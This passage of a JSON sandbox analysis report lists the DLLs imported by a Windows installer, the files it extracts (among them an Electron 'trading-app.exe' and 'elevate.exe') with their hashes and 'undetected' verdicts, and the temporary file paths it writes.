2752","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00008000","icon":"$70"}],"all_imported_dlls":["CoreMessaging.dll","rmclient.dll","twinapi.dll","msvcrt.dll","shlwapi.dll","ole32.dll","comctl32.dll","uxtheme.dll","dwmapi.dll","version.dll","mswsock.dll","wow64cpu.dll","gdi32full.dll","sspicli.dll","combase.dll","clbcatq.dll","shfolder.dll","ntshrui.dll","IPHLPAPI.DLL","ntmarta.dll","winhttp.dll","dhcpcsvc.dll","msctf.dll","dnsapi.dll","TextInputFramework.dll","mscms.dll","atlthunk.dll","shell32.dll","windows.storage.dll","imm32.dll","cryptsp.dll","cldapi.dll","crypt32.dll","dhcpcsvc6.dll","dpapi.dll","ntdll.dll","bcryptprimitives.dll","WindowsCodecs.dll","WinTypes.dll","dbghelp.dll","devobj.dll","DataExchange.dll","pnrpnsp.dll","user32.dll","cryptbase.dll","userenv.dll","bcrypt.dll","nsi.dll","VxSSL64.dll","directmanipulation.dll","SHCore.dll","kernel.appcore.dll","StdUtils.dll","nlaapi.dll","d3d11.dll","dxgi.dll","winrnr.dll","OneCoreUAPCommonProxyStub.dll","gdi32.dll","sechost.dll","aepic.dll","wtsapi32.dll","gpapi.dll","cfgmgr32.dll","advapi32.dll","VxSSL32.dll","propsys.dll","CoreUIComponents.dll","KernelBase.dll","oleaut32.dll","IconCodecService.dll","KBDUS.DLL","FWPUCLNT.DLL","dcomp.dll","BCP47Langs.dll","ws2_32.dll","fltLib.dll","winmmbase.dll","twinapi.appcore.dll","rsaenh.dll","ucrtbase.dll","profapi.dll","msasn1.dll","secur32.dll","NapiNSP.dll","wow64.dll","msvcp_win.dll","apphelp.dll","nsis7z.dll","Windows.UI.dll","Windows.Globalization.dll","winsta.dll","wow64win.dll","kernel32.dll","win32u.dll","powrprof.dll","setupapi.dll","oleacc.dll","winmm.dll","DWrite.dll","rpcrt4.dll","System.dll","rasadhlp.dll","MMDevAPI.dll","MsSpellCheckingFacility.dll","Windows.StateRepositoryPS.dll","ffmpeg.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ffmpeg.dll","sha256":"c8476ee68088d72b9fab25703093df19237d14387016b77f472e10c99c9415ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"libEGL.dll","sha256":"7bee4e33d89e5a4f2b3bc74d632f7c773ae9a399b6b2ba6d29b1192e25695a8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"libGLESv2.dll","sha256":"3a713cf40e75ce6a6df79b495768d0e453843ba2ba5c7e63060581aacb71ddce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"elevate.exe","sha256":"9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"trading-app.exe","sha256":"07672ce0323b7bf51c135ba6821f3ccb59b47ae4ca88213f2e41f45544c3b896","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"vk_swiftshader.dll","sha256":"680ea3717671c896d516517ff322976ab708f18862135be4216a27ad57353dcc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"vulkan-1.dll","sha256":"d5df2f59cc8b32abd6178250e7d1370a7f37270cc727449e21778080b5e29cd2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"StdUtils.dll","sha256":"b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"nsis7z.dll","sha256":"b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp","sha256":"90191e457b08ab24d50f7faba319ff7f93a318ded3ac388f96a003b215007032","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp","sha256":"be4b8924ab38e8acf350e6e3b9f1f63a1a94952d8002759acd6946c4d5d0b5de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"000001.dbtmp","sha256":"0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"06c22772-9d60-496b-91b1-de9664bf0a0e.tmp","sha256":"226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"LICENSE.electron.txt","sha256":"5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"LICENSES.chromium.html","sha256":"4f510482586f9bac1b0dbd0b2027c74b3fc898fb11b2c4d4203b02bc281ad77e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"System.dll","sha256":"3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"app-64.7z","sha256":"ea6606b016ec06f3f9a052def031df4f3240af721bbb6b3d29b467f36b68adf0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nsp959F.tmp","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\System.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\app-64.7z","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\nsis7z.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\chrome_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\chrome_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\LICENSE.electron.txt","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\LICENSES.chromium.html","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\af.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\am.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ar.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\bg.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\bn.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ca.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\cs.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\da.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\de.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\el.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\en-GB.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\es-419.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\es.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\et.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\fa.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\fi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\fil.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\fr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\gu.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\he.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\hi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\hr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\hu.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\id.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\it.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ja.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\kn.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ko.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\lt.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\lv.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ml.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\mr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ms.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\nb.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\nl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\pl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\pt-BR.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\pt-PT.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ro.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ru.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\sk.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\sl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\sr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\sv.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\sw.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ta.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\te.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\th.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\tr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\uk.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\ur.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\vi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\zh-CN.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\locales\\zh-TW.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\resources","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\resources\\app.asar","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\resources.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\vk_swiftshader_icd.json","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\d3dcompiler_47.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\ffmpeg.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\resources\\elevate.exe","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\trading-app.exe","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\vk_swiftshader.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\7z-out\\vulkan-1.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\chrome_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\chrome_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\d3dcompiler_47.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\ffmpeg.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\LICENSE.electron.txt","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\LICENSES.chromium.html","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\vk_swiftshader.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\vk_swiftshader_icd.json","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\vulkan-1.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\af.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\am.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ar.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\bg.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\bn.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ca.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\cs.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\da.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\de.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\el.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\en-GB.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\es-419.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\es.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\et.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\fa.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\fi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\fil.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\fr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\gu.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\he.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\hi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\hr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\hu.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\id.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\it.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ja.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\kn.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ko.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\lt.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\lv.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ml.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\mr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ms.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\nb.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\nl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\pl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\pt-BR.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\pt-PT.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ro.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ru.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8